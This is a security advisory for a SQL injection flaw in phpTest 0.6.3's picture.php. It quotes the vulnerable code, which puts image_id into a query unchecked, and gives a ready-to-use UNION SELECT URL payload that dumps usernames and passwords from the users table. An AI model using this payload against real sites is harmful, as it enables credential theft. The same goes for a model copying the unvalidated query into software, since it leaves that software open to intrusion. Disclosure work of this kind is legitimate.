phpTest 0.6.3 (picture.php image_id) Remote SQL Injection Vulnerability

2008.08.02
Credit: cOndemned
Risk: High
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

######################################################################################## # # Name : phpTest 0.6.3 (picture.php image_id) Remote SQL Injection Vulnerability # Author : cOndemned [ Dark-Coders ] # Dork : sorry, today no dork [; # Greetz : ZaBeaTy, str0ke, GregStar, Voo|doo, ixos, 0in, suN8Hclf, TBH, Avantura :* # ######################################################################################## Source code of "picture.php" : 24. pt_register('GET', 'image_id'); 25. 26. if (isset($image_id)) { 27. $result = $db->query("SELECT filetype, data FROM images WHERE image_id = $image_id"); 28. 29. if ($db->num_rows($result)) { 30. $row = $db->fetch_object($result); 31. header("Content-type: $row->filetype"); 32. echo $row->data; Description : line 24 - $image_id is taken from user using $_GET method line 27 - There is absolutly no validation of $image_id + We can se amount of columns - 2 line 31 - header type doesn't matter.... line 32 - Result of MySQL Query is being printed here. Exploit : http://[host]/[phpTest]/picture.php?image_id=-1+union+select+1,concat_ws(0x3a3a,username,password)+from+users/*

References:

http://www.securityfocus.com/bid/30377
http://www.milw0rm.com/exploits/6134


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top